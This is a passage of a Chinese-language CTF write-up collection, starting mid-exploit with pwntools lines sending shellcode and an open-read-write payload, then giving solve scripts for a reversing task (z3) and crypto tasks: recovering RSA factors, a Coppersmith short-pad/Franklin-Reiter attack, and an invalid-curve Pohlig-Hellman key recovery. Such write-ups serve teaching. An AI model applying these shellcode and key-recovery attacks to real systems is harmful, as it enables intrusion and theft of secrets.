sla(b'num:\n', str(libc.rand()%50))
sa(b'door\n', shellcode.ljust(0x28, b'\x00') + p64(call_rsi))
sleep(2)
s(orw_shellcode)

#pause()
pr()

REVERSE

幽灵许可证

点击这里看英文题解

请喝咖啡

点击这里看英文题解

你,没有问题

调试下来,首先会对我们的输入做一个字符串的拼接,拼接后的字符串如下:

there_are_a_lot_useless_information_but_oh.o0O__you_get_itthere_are_a_lot_useless_information_but_oh.o0O_111111111111111111111111111111111111111111_you_get_it

然后会对整个字符串的长度做一个检查是否为100,之后进入处理字符串的核心函数sub_4051A0。sub_4051A0函数先做一个密文的初始化和赋值,然后每次对拼接的字符串的10个字符进行检测,一共进行10次检测。

WP如下:

import z3

enctext1 = [0x000000FE, 0x0000000B, 0x0000001D, 0x000000F6, 0x00000083, 0x000000FF, 0x000000E0, 0x000000B8, 
            0x000000DD, 0x000000B0, 0x000000C5, 0x000000DE, 0x000000F6, 0x00000014, 0x0000009F, 0x000000DD, 
            0x000000D9, 0x00000007, 0x0000002D, 0x0000006B, 0x00000019, 0x000000CA, 0x00000073, 0x000000FD, 
            0x00000087, 0x00000072, 0x00000024, 0x00000004, 0x00000049, 0x0000007E, 0x000000A9, 0x000000CE, 
            0x00000091, 0x000000BE, 0x00000041, 0x00000018, 0x00000060, 0x0000003F, 0x0000002B, 0x00000063, 
            0x0000001C, 0x000000D2, 0x00000090, 0x000000E9, 0x0000008E, 0x000000BA, 0x0000001E, 0x000000F3, 
            0x00000041, 0x000000AD, 0x0000002C, 0x00000003, 0x00000069, 0x000000DA, 0x00000010, 0x000000FD, 
            0x000000FD, 0x000000E7, 0x00000006, 0x00000036, 0x000000D6, 0x00000002, 0x00000059, 0x00000018, 
            0x000000CC, 0x00000050, 0x00000087, 0x000000AF, 0x000000FB, 0x00000018, 0x00000044, 0x0000007F, 
            0x000000AD, 0x000000F8, 0x0000002C, 0x00000067, 0x0000001D, 0x00000022, 0x00000084, 0x000000AC, 
            0x0000000E, 0x00000023, 0x000000DC, 0x000000E6, 0x000000BB, 0x000000D2, 0x000000B8, 0x0000004A, 
            0x000000BC, 0x000000DE, 0x00000050, 0x0000009C, 0x0000001C, 0x0000001E, 0x00000086, 0x0000003A, 
            0x0000002D, 0x000000DD, 0x000000C3, 0x00000003]

enctext2 = [0x0001C633, 0x0001DF94, 0x00020EBF, 0x0002BA40, 0x0001E884, 0x000260D1, 0x0001F9B1, 0x0001EA1A, 
            0x0001EEAA, 0x0001DFB2, 0x0001C1D0, 0x0001EEF2, 0x000216E1, 0x0002BE00, 0x0001FB5E, 0x00025D74, 
            0x0001F000, 0x000202D6, 0x00020002, 0x0001DDFE, 0x0001C017, 0x0001F08C, 0x000227F6, 0x0002C7BA, 
            0x000201AE, 0x00027FBF, 0x00020E21, 0x0001FF5C, 0x0001FD62, 0x0001E948, 0x0001BE6E, 0x0001F4D7, 
            0x00022C8D, 0x0002C353, 0x0001F8DB, 0x00026E1D, 0x0001FF61, 0x0001EA0F, 0x0001F0D6, 0x0001EDA8, 
            0x0001AD7D, 0x00018218, 0x0001CCD4, 0x000239B6, 0x0001AC4C, 0x00020D7C, 0x0001D967, 0x0001A4F4, 
            0x0001CAD8, 0x000196AE, 0x0001831B, 0x00017E45, 0x0001D0CF, 0x00023EDF, 0x000181AE, 0x00021760, 
            0x0001D3B4, 0x000175D6, 0x00017D3A, 0x0001994F, 0x0001189D, 0x00014CCF, 0x0001568E, 0x00017EEB, 
            0x0001327E, 0x00016A45, 0x00012921, 0x00011FF0, 0x00013643, 0x00011729, 0x00015191, 0x00017D17, 
            0x00017262, 0x0001A863, 0x00017010, 0x00017B10, 0x00014F9C, 0x000143E8, 0x00015E9B, 0x0001242C, 
            0x0000F68C, 0x0001192A, 0x000150AD, 0x0001B1A0, 0x00014C60, 0x000182AB, 0x00013F4B, 0x000141A6, 
            0x00015AA3, 0x000135C9, 0x0001D86F, 0x0001E8FA, 0x0002158D, 0x0002BDAC, 0x00020E4F, 0x00027EE6, 
            0x000213B9, 0x00020E86, 0x000211FF, 0x0001E1EF]

# there_are_a_lot_useless_information_but_oh.o0O_111111111111111111111111111111111111111111_you_get_it

s = z3.Solver()
plain = []
for i in range(100):
    plain.append(z3.Int('x%d' % i))

for i in range(10):
    for j in range(10):
        sum = 0
        for y in range(10):
            sum += enctext1[j + y*10] * plain[y + i*10]
        s.add(sum == enctext2[j + i*10])

print(s.check())
rs = s.model()

for i in plain:
    print(chr(rs[i].as_long()), end = '')

CRYPTO

胚胎植物

从中代码我们可以得知该加密算法首先随机生成rpq三个素数,并分别计算n以及包含5个元素的s数组。 然后使用sha256生成d`的哈希字串以作为AES的密钥对flag进行加密。

output.txt则给出了ns数组的各个元素以及enc_flag密文。

结合如上数据,我们可以得到如下的关系式

n = p * q * r

s[0] = (seed * p + q) % r
s[1] = (s[0] * p + q) % r
s[2] = (s[1] * p + q) % r
s[3] = (s[2] * p + q) % r
s[4] = (s[3] * p + q) % r

使用模数计算规则,可以通过如下步骤得到r

得到r之后,就可以此得出pq, 然后得出d用于最后的解密。

n = 953212452632162415623854742466108898886257018761981737488515480124784784754313403541058723530771941185648440076953890845364164881753643355212476926626742101375422468157394494383915186197027584298810203766388023131196821200163753827759350781726289328080241887775877824351482527440834821313689834438591567613042759531267263403394331824891899899505726815540209695860955058659042180466101027165453544129867565132811217413181292156021136184504130428910065116301275284964237087553827437109939035287527986380535446925078275313404977210504275217640523278087762041948497195357622678060873426815474421439984697128135689500335385151376561597600186415289317989920506634067994928935237389715706143172780083
s = [107663563520221758967681052016945344894135463272720867342404293429418113761640130338846143415694339846703472327422471509923932434685628383794998869995327761272087050985560474031629673883432008583476972873462387774454021532562638911, 375715892557297364364744701696307763009546269920835800827316473134718210911604668305115761037621526838903749589794728067744014884724708180550902913867595275270476040258585551516530116122396379615935241551413224529146764536011818960, 1142431136128743680237588635513380046580339971378804783979851430431837015880156204447030433004896454182104721893126547029880672333914367506184442229874405762062665597996081499892502200704128255903361177726702376303206644325660472696, 696181402062958907421352186902458487367420124659441418095569426735447880619442484035499857372339751543528153083380619139649590779544110176169319718082842863368788080781170847125373363885050864587076550882230251633851030744318779877, 1090087409231264760633243725379604084008037546075358826209944877794280528534452761945892984736121167182908072643369909923239008686694491992033132238021506681618226619691505113704791978765000558863195023783700460638272869374754376211]
enc_flag = "d3587442177b157fa0cecb6dd880872d86e15a50e3f05ecfeea8b90f5cfca22835a59d9c4f23e87a68317d4ccabe1bf3aa2e6cdf0a9ef1ada0a2e83d8da0bff2b739cf0e2b2b779958d9b1154a6f3698"

import gmpy2
r = gmpy2.gcd(((s[1] - s[0]) * (s[3] - s[2]) - (s[2] - s[1]) * (s[2] - s[1])), ((s[2] - s[1]) * (s[4] - s[3]) - (s[3] - s[2]) * (s[3] - s[2])))

a = s[2] - s[1]
b = s[1] - s[0]

p = a * pow(b, -1, r)
p = p % r

q = s[2] - s[1] * p
q = q % r 

e = 0x10001
phi = (p - 1) * (q - 1) * (r - 1)
d = pow(e, -1, phi)

from Crypto.Util.number import bytes_to_long, long_to_bytes 
from hashlib import sha256
from Crypto.Cipher import AES

key = sha256(long_to_bytes(d)).digest()
cipher = AES.new(key, AES.MODE_ECB)

cipher_text = bytes.fromhex(enc_flag)
flag = cipher.decrypt(cipher_text)

print("FLAG =", flag)

模数丢失

代码实现了一个基本的RSA加密算法, 并提供了四个使用相同参数加密产生的密文,其中Flag1Flag2所对应的明文是Flag加上随机产生的16个字节组,而msg1msg2所对应的明文则已知

首先使用msg1msg2以及它们对应的明文计算出n, 其原理在于

m1 = b"Lost modulus had a serious falw in it , we fixed it in this version, This should be secure"

c1 = "0241f53c0690e3faccc3753b6064aef27341b5bef3a10fcbb362251e1f5474a055a04e631af1bb4542351f6051438fc6dbf2011f79cbd85bc667d1097b57818d01d11aa09db0ef221ccf8d9eb16903423702b64a534d49153b49dc47fd5597a96f2a6480d296d36d08ba3438cc193bba6ee2c3ea81ab4dbb029a737c3f5597c8e4b8db8ab06605443eb35160828bc78b1d889814d8811e89efae3d741a481a7bd09483df8ee6d32b56a8d7eb20b275cf3ba5936838da2893f82cbc469f1497f785603e72df1ae1f619e08834588f2e64dd5f4cbbdbc7357dadcd89dbd9e18b0948f9b3f8f6b0df217bd7e8ae5c89a20878ffb127e3cf862baa78cc67ec1012af"


m2 = b"If you can't see the modulus you cannot break the rsa , even my primes are 1024 bits , right ?"
c2 = "7499a590fcb19dd0880b77a0dd57f66f6055976100b10053adadaeec18c382c5c3d095b4edd6ee2a5dfdc5790b18ff96e54f093fa62d4b518c1bbe65ad3588a81a1723ce72798ddd06d1eca7be9332a7b754f85582c4c5800d0c778ec320fa53806d122b4f4e436ead12bdf05031d4c181416184932517da985ff503759d128761bd96009c43bf11e45ba60f495235d29a863b7a64d9752868dd9896563fe2cc91df6f092f6d4d7d600b4fbf2b52579a0f2657223a1092c067584aad9997540b25921513f96f2da0c26ffb2ee7578540efc50bc8ab0feeeb24e0e96ebc1e6310dbed880ec5d9788a86bebe72c4b5d9b5c66716e6b84021591372c823c6d78c4e"

e = 3

from Crypto.Util.number import bytes_to_long, long_to_bytes 

m1 = bytes_to_long(m1)
m2 = bytes_to_long(m2)

c1 = int(c1, 16)
c2 = int(c2, 16)

t1 = c1 - pow(m1, e)
t2 = c2 - pow(m2, e)

import math

n = gcd(t1, t2)

print("n = ", n)

得到n之后,我们可以通过Coppersmith short pad attack 加上Franklin-Reiter related message attack方法通过msg1msg2以得到Flag的明文, SageMath代码如下:

#使用 https://github.com/pwang00/Cryptographic-Attacks/blob/master/Public%20Key/RSA/coppersmith_short_pad.sage
 
def coppersmith_short_pad(C1, C2, N, e = 3, eps = 1/25):
    P.<x, y> = PolynomialRing(Zmod(N))
    P2.<y> = PolynomialRing(Zmod(N))

    g1 = (x^e - C1).change_ring(P2)
    g2 = ((x + y)^e - C2).change_ring(P2)
 
    # Changes the base ring to Z_N[y] and finds resultant of g1 and g2 in x
    res = g1.resultant(g2, variable=x)

    # coppersmith's small_roots only works over univariate polynomial rings, so we 
    # convert the resulting polynomial to its univariate form and take the coefficients modulo N
    # Then we can call the sage's small_roots function and obtain the delta between m_1 and m_2.
    # Play around with these parameters: (epsilon, beta, X)
    roots = res.univariate_polynomial().change_ring(Zmod(N))\
        .small_roots(epsilon=eps)

    return roots[0]
    
def franklin_reiter(C1, C2, N, r, e=3):
    P.<x> = PolynomialRing(Zmod(N))
    equations = [x ^ e - C1, (x + r) ^ e - C2]
    g1, g2 = equations
    return -composite_gcd(g1,g2).coefficients()[0]


# I should implement something to divide the resulting message by some power of 2^i
def recover_message(C1, C2, N, e = 3):
    delta = coppersmith_short_pad(C1, C2, N)
    recovered = franklin_reiter(C1, C2, N, delta)
    return recovered
    
def composite_gcd(g1,g2):
    return g1.monic() if g2 == 0 else composite_gcd(g2, g1 % g2)    
    
n = 17239653555729308464049438184920371089879081148402291800380594759517665804698359052648921465219887554469533537465122062104900480567488997794605293481770139146098702102563250193298500864238250949982552595159802814788612573898410252974926866757617491510437384709301937357695288829868010397984533999482461397333141208905813094732501385628605554793978927603376904138986551086256407424185029648833489655496424708493511895902919181646372064531235987733921846952446773365611469842532440322381367711369625814351911101284458643213930109512205598526068165522864217435748337932540742524768583448250580752519750464577065964352977

c1 = 0x685dba88de1ecf0b4ae5bc84b7ee87f63eb37f697ca9a5ab6af9359341a2fbbf53b9502477cabb1658fdf775a34a0712b04d0fd2679b47ec088e0ab3c0a9a866198077a496bb1de138cd165ca28722dee7c4cc81ac0a3a179095f11981e9c7bcd590576169ed877b5692f42a7d9845bdb7c0bffd4e97541b65321de83e4083c1c8cc93eec59933f42655d7c0ad170ed9a3ea418b582e09a2692fc1965d8372cac678f0dabe1b0cbda93ac9b484feb9d2e96f3ab7e2fc6430da1931281c1870c637866be7fcd69c1b067e001887bb17a57ccd77532ea9dfaa0be1390db5511771dc9e03593e344bf0647ddac395b1fe80a86ad4ea4606fdb8a82fdcf9c846114c

c2 = 0x356f7e82071f321361075ee85f9b42922662559ed64b253c64ff37b52fe8dcf3ab3163079bc9a12e951f84d2f7a911cbf1b1e8d7cd759a128f21a89b625b07ded33443a2888ca9a455198fd5b4a3fb307f34c704b7dcad88685263f4c3f4cf37f1099f2bd188de72533308c25fc18948dda220e3693b7f3edb689ee489c14e7624932ee8928370c9c1d59b06d1071a259d64c38735b1b586082099919713b669a79e43329f0c20508620982d95b774a57d009540c2ef2835887d229273223272f86fb0b1740937d3fc83d7556ffe634a16fb1faf6125878b06f5d537c21260014e2e67ae47636cbce899c463a3669954253aac3aa89a1c800d3251cf6a36badf

m1 = recover_message(c1, c2, n)
print("m1=", m1)

from Crypto.Util.number import bytes_to_long, long_to_bytes

print("flag=", long_to_bytes(int(m1))[:-16])

量子安全2

代码实现的加密算法包括多个部分,首先是给定的椭圆曲线private_key, 该数值被用于Python random随机数的种子以生成量子操作符(Z或X), 其次是使用netsquid来模拟实现对量子的观察,观察的结果值(0或1)被用于生成q_server_keyq_user_key, 而q_server_key的sha256哈希值则作为AES加密的密钥。

运行环境提供三个输入选项,选项1允许用户输入坐标值(x, y), 然后返回[private_key]与改点的标量积结果。选项2允许用户输入256个量子操作符,然后返回这些操作符进行量子观察的结果值,以及AES加密的密文。选项3无用。

首先我们必须获得椭圆曲线private_key,提供的椭圆曲线代码并不检验用户输入的坐标是否在给定的曲线上,而且只使用给定的ap曲线参数,而b并没有用到。 因此我们可以使用相同的ap, 但不同的b来创建另一个椭圆曲线,b的选择要求是使其对应的曲线上的离散对数符合Pohlig-Hellman算法的要求。

以下代码使用b=6的曲线,并或取点的阶数,

p = 115792089237316195423570985008687907853269984665640564039457584007908834671663
a = 0
b = 6
EC = EllipticCurve(GF(p), [a, b])

Gx = 97739641136662608657079256755827419133838433889311376347497047878595450848685
Gy = 98100600220769146147883276184268394981687000350669426476581029710371895499142

G = EC(Gx, Gy)
G.order()
# 8270863516951156815969356072049136275281522608437447405948333614614684278506     

对该阶数进行素因数分解,并根据代码中给出的private_key上限确认符合Pohlig-Hellman算法的要求。

>> factor(8270863516951156815969356072049136275281522608437447405948333614614684278506)

***factors found***

P1 = 2
P1 = 7
P5 = 10903
P7 = 5290657
P11 = 10833080827
P14 = 22921299619447
P41 = 41245443549316649091297836755593555342121

输入该坐标对后,获取标量积结果,然后使用Pohlig-Hellman算法就可以获得private_key

#标量积结果 
Qx = 3857225661745020856873269956141698742872251158780186082433874002180145459209
Qy = 6544502763778813556431537492609375417205638644494698005245711242038528944385

Q = EC(Qx, Qy)

dlogs = []
for fac in primes:
  t = int(G.order()) // int(fac)
  dlog = discrete_log(t*Q, t*G, operation="+")
  dlogs += [dlog]

private_key = crt(dlogs, primes)

得到private_key后,我们就可以获取生成q_server_key的量子操作符序列,其原理在于Python radom随机数产生的序列由其种子决定,使用相同的种子值,其产生的随机数序列也相同。

seed(private_key)

server_basis = ""

for i in range(256):
  b = randomBasis()
  if (b == ns.Z):
    server_basis = server_basis + "Z"
  else:
    server_basis = server_basis + "X"
  
print("server_basis=", server_basis)

通过实验,我们可以发现在generateKeys方法中,当对q1q2使用相同的basis调用measure方法时,其返回的结果总是相反的。由此我们可以使用选项2输入server_basis, 然后将获得的结果还原成二进制,然后逐位求反,就可以获得q_server_key

#q_user_key
hex = "a425ec07feabe32f689e7bf2322f171217a1549d2ee00f54622d99ea26dcf27d"

blocks = bytes.fromhex(hex)

bits = []
for block in blocks:
    s = bin(int(block))[2:].zfill(8)
    for i in s:
        bits.append(int(i))

server_bits = []
for b in bits:
    if (b == 0):
        server_bits.append(1)
    else:
        server_bits.append(0)

q_server_key = bitsToHash(server_bits)

q_server_key后,就可以进行AES解密了。

cipher_text = bytes.fromhex("0842dbf2337a3be8b1a03ba2692ce7ed046902d537cc99613b73a372e280229a4f4f6caca4e827a952ee88426702f1dcd0f03b9fcee64d5729d46d15954bbf6a234222058295fd2c257eceab1fd9e5b0")

cipher = AES.new(q_server_key, AES.MODE_ECB)
plain_text = cipher.decrypt(cipher_text)
print(f"plain_text = {plain_text}")